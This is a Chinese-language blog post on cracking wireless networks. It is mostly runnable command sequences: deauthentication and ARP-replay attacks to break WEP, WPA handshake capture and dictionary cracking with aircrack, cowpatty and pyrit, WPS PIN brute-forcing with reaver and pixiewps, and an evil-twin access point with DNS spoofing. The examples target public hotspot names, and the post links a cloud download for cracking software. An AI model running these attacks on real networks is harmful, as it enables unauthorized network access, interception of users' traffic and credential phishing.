无线攻击

open无加密网络

  • 无任何加密机制
  • 所有数据都可以被嗅探到
  • STA和AP只协商拼配参数即可连入网络

无线如何不加任何加密机制的话,安全性太差。即使不对你进行嗅探也可以对你进行中间人攻击、地址欺骗等方式

无线安全根源

  • 802.11是基于无线电波发射信息
  • 嗅探侦听是主要问题
  • 加密机制是必要手段

Wired Equivalent Privacy(WEP):有线等效加密 802.11标准的一部分,发布后不久被发现存在安全漏洞

WIFI Protected Access(WPA)取代WEP:802.11i标准

1、WEP攻击

wep是共享密钥的wlan加密方式,这种加密机制及密码算法上面是存在先天的漏洞和问题的;比较容易破解,安全性不高,简直就可以说彻底不安全!现在几乎已经被WPA的加密方式取代。但还是了解一下啊

使用RC4对称加密算法(加解密用一个密钥)加密流量内容、CRC32算法检查数据的完整性。

标准采用使用24位initialization vector(IV起始向量)

  • 加密:对明文流和密钥流记性XOR(二进制异或)计算
  • 解密:对密文流和密钥流进行XOR计算

 

 RC4算法加密流程:

 

 24位IV值随机数+无线密码结合利用KSA算法生成一个初始的状态表、再通过PRGA算法生成一个密钥流;数据流是由数据和完整校验算法CRC32生成ICV(起始check value),数据流与密钥流一位对一位,然后异或运算生成密文消息 ,加上IV和keyid 包头信息。

RC4解密流程:

 

 从包中直接拿到IV值,根据key id提取key内容组合用KSA和PRDA算法生成密钥流,再和密文流取异或生成原数据,再生成CRC32校验。

wep共享密钥破解

  • IV并非完全随机
  • 每224个包可能会出现一次IV重用
  • 收集大量IV之后找出相同IV及其对应密文,比对分析得出共享密码

因为ARP回包中包含IV,所以IV足够多的情况下,任何复杂程度的wep密码都可以被破解

监听抓到加密前的明文chellege和这个明文加密后的密文 ,有这两个东西就可以进行二进制亦或计算,得到密钥流(xor),当然这个密钥流是以密文存在,有这个就可以与AP建立关联。

只有建立关联才能进行收集ARP注入。

-攻击:

-抓包--

airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free
抓的IVZ值在#date显示

--主动抓包:打断--适用于有有效客户端在线的情况

假如都已连接无新的连接,就打断现有连接(Deauthentication),重连时窃取
aireplay -0 10 -a AP_MAC -c Client_MAC wlan0mon

-0:Deauthentication
10:打断数目,当为0时则冲突攻击,迫使客户端不断下线
-c:后接指定客户端MAC,不设置默认AP所有客户端打掉
每攻击发送128个包,64个给AP,64个给客户端
--伪造身份认证进行关联--适用于无有效客户端在线 areplay-ng -1 60 -e CMCC-FREE -y wep-01-EC-ER-FF-2E-3F.xor -a EC:DE:23:4R:5T:12 -h 1Q:2W:3E:4R:4T:1D wlan0mon -1:第一种攻击方式 60:是每60秒攻击一次 -e:目标AP -y:密钥流(用以产生关联) -a:AP的MAC地址 -h:黑客的mac地址 --执行ARP重放-- aireplay-ng -3 -b AP_MAC -h hacker_mac wlan0mon 此处也可打断,出arp 要等#Date至少10万20万 (大概10分钟),一边抓一遍分析尝试破解
64bit密钥:25万
128bit密钥:150万
--尝试解密-- aircrack-ng CMCC-FREE-01.cap 很快就得到结果~

-1攻击

    之前我一直也没弄明白为什么能够进行伪连接,既然我们并不知道WEP密码,那么如何进行连接?伪连接的伪主要体现在什么地方?这个应该是和AP的工作机制有关.我自己的理解是,在客户端与AP通信的时候,客户端需要在AP那里登记自己的MAC地址,这样AP才会接受这个MAC地址的网卡产生的数据包进行下一步的工作.一般WEP验证过程为:

        1.客户端发给AP认证请求

        2.AP发回挑战字串

        3.客户端利用WEP密码加密字串返回给AP

        4.AP对返回结果进行本地匹配判断是否通过认证. 伪连接实际上就是进行了第1步,此后AP就登记了客户端的MAC地址,此时AP等待的是客户端返回挑战字串的加密包,对于攻击者,此时AP已经能够接受各种伪装生成的数据包并对其作出反应了.这一步对于无客户端的-2,-4,-5攻击相当重要.很明显,这样伪连接并不产生任何ARP包,同时也不会获得正确的WPA/WPA2握手包.

注意事项:

WPA\WPA2 不支持 Fake authentication

 二、WPA攻击

WiFi-Protected Access

802.11i组为提高无线安全,开发了两个新的链路层加密协议:

  • Temporal Key Integrity Protocol(TKIP)----wpa1(较之wep可动态改变密钥)
  • Counter Mode with CBC-MAC(CCMP---wpa2

WPA加密两种安全类型

  • WPA个人:使用预设共享密钥实现身份验证
  • WPA2企业:使用802.1x和Radius服务器实现AAA

不是说算法强大就使用弱密码。

WPA1与WPA2比较

 

#Temporal Key Integrity Protocol (TKIP) 4

#Counter Mode with CBC-MAC (CCMP) 5

 密钥交换:

无线网路设计用于一组无线设备通信

  • 关联到同一AP的设备共享无线信道
  • 单播、广播、组播
    • 安全特性要求不同
    • 单播通信需要单独密钥加密通信双方流量:pairwise key-对偶密钥(PTK)
    • 组播通信需要信任域内所有成员共享的同一密钥:Group key-组密钥(GTK)

 

 只有一种密码破解的方法:wpa不存在wep的弱点

  • CPU\GPU资源
  • 时间
  • 字典质量
    • 网上共享的
    • 泄露密码
    • 区号、手机号段、生日、百家姓、名人
    • 工具自制字典

PSK破解过程

  1. 启动monitor
  2. 开始抓包并保存
  3. Deauthentication 攻击获取4步握手信息
  4. 使用字典暴力破解
 #抓包
airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free

#打断重连
aireplay -0 2 -a AP_MAC -c Client_MAC wlan0mon

#跑包
aircrack-ng -w /user/share/wordlists/zidian.txt CMCC-free.cap

 

 重中之中-关键就是跑包就是看字典强不强大~

几种其他字典破解工具自行参考:

  • airolib
  • JTR
  • cowpatty
  • pyrit

cowpatty破解密码

使用密码字典(普通)cowpatty -r wpa.cap -f password.lst -s kifi

使用彩虹表(PMK)

  • genpmk -f password.lst -d pmkhash(名称随意) -s kifi
  • cowpatty -r wpa.cap -d pmkhash -s kifi

所以这个优势在于基于AP名先生成hash,再用cowpatty破解速度极快了,适用于不该AP名老更换密码的wifi密码破解。

Pyrit破解密码

与airolib、cowpatty相同,支持基于预计算的PMK提高破解速度

独有优势:

  • 出CPU还可利用GPU算法加速生成PMK
  • 本身支持抓包,无需airodump抓包
  • 也支持传统的读取airodump抓包获取四步握手的方式

只抓取wpa四次握手过程包

  • pyrit -r wlan0mon -o wpapyrit.cap stripLive
  • pyrit -r wpapyrit.cap analyze

从airodump抓包导入并筛选

  • pyrit -r wpa.cap -o wpaprit.cap strip

使用密码字典直接破解:

  • pyrit -r wpapyrit.cap -i password.lst -b <AP MAC> attack passthrough

数据库模式破解:

  • 默认使用基于文件的数据库,支持连接SQL,将计算的PMK存入数据库
  • 查看默认数据库状态:pyrit eval
  • 导入密码字典:pyrit -i password.lst import passwords (剔除了不合格的密码)
  • 指定ESSID:pyrit -e kifi create essid
  • 计算PMK: pyrit batch  (发挥GPU计算能力)
  • 破解密码: pyrit -r wpaprit.cap -b <AP MAC> attack.db

还可以拷贝到WINDOWS下使用EWSA:

传送门:软件云盘链接:https://pan.baidu.com/s/1_If_fkefIIVzfncLP5kU8Q
提取码:u7hg

 

 

 还有一种攻击场景是【无AP情况下的WPA密码破解】

 

 伪造一个AP,  pmk=essid+PSK,只用4步握手中的前两步就行!

有些鸡肋,还要跟踪人家到真实的物理环境去。

airbase-ng 可用你的无线网卡创造一个AP出来


airbase-ng --essid KFC -c 11 wlan0mon       #open

airbase-ng --essid KFC -c 11 -w key wlan0mon     #wep
airbase-ng --essid KFC -c 11 -z 2 wlan0mon       #wpa1
airbase-ng --essid KFC -c 11 -Z 4 wlan0mon    #wpa2

这样会在你的系统生成一个at0的网卡

 

三、WPS攻击

 wps(wireless protected setup)

  • 是WIFI联盟2006年开发的一项技术
    • 通过PIN码来简化无线接入操作,无需记住PSK
    • 路由器和网卡各按一个按钮就能接入无线
    • PIN码是分为前后各4位的2段共8位数字
  • 安全漏洞
    • 2011年被发现安全漏洞
    • 接入发起方可以根据路由器的返回信息判断前4位是否正确
    • 而PIN码的后4位只有1000种定义的组合(最后一位是检验值checksum)
    • 所以全部穷举破解只需要11000次尝试(15~20个小时)
    • 标准本身没有设计锁定机制,目前多个厂商已实现锁定机制

 只要你的路由器支持WPS,即使没有客户端在使用这个wps,攻击者也可以利用pin出来。

本来旨在提高安全和便利性,反而降低了安全成了大的隐患。

拿到PIN-->PSK 就是一操作很快就出来。

早期的PIN码更弱智,有的路由器厂商直接用网卡MAC前6位转换为16进制就是PIN码.....(如C83A35\00B00C),现在已经没了。

攻击过程:

#启动侦听后扫描带WPS功能的AP:

wash -C -i wlan0mon
airodump-ng wlan0mon --wps

#爆破PIN码

reaver -i wlan0mon -b <AP mac> -c <channel> -vv


#秒破PIN码
reaver -i wlan0mon -b <AP mac> -vv -K 1
pixiewps
只适用于固定厂商的芯片,成功率极低

#当出来PIN码以后...

reaver -i wlan0mon -b <AP mac> -vv -p 12345678

#注意 现在几乎带WPS的厂商都实现了锁定机制,所有在穷举PIN码时应注意限速,所以-reaver会10次一停。

#牛刀小试-综合自动化无线密码破解工具 wifite

 四、伪造双胞胎AP

 

 攻击流程:

 #伪造假AP
airbase-ng -a <AP mac可选> -c 11 --essid KFC-FREE wlan0mon

#此时ifconfig -a 会发现多了一个网卡 at0
#设置网桥,ip地址要给网桥
apt-get install bridge-utils

brctl addbr bridge      //delbr
brctl addif bridge eth0
brctl addif bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig bridge 192.168.1.10 up

#增加路由,或者配置个DHCP服务
netstat -nr route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
#启动ip转发
echo 1 > /proc/sys/net/ipv4/ip_forward

#dns欺骗
dnsspoof -i bridge -f dnsspoof.hosts
  192.168.1.10  *.microsoft.com(欺骗网址)

#开启apache服务

apache2ctl start

 

 五、无线侦查-kismet

一个集成化的探测周围AP并尝试破解并标记在谷歌地图上的工具。

(开发者已停止更新维护)

  •  KISmet
  • kismet*.nettxt
kismet*.pcapdump
gpsd -n -N -D4 /dev/ttyUSB0
giskismet -x Kismet-*.netxml
giskismet -q "select * from wireless" -o gps.kml

需要购买一个USB无线模块

安装谷歌地球:

http://dl.goole.com/dl/earth/client/current/google-earth-stable_current_amd64.deb
dpkg -i google-earth64.deb
apt-get -f install

导入kml文件就可。

 

posted @ 2020-01-15 17:58  香农Shannon  阅读(1148)  评论(0编辑  收藏  举报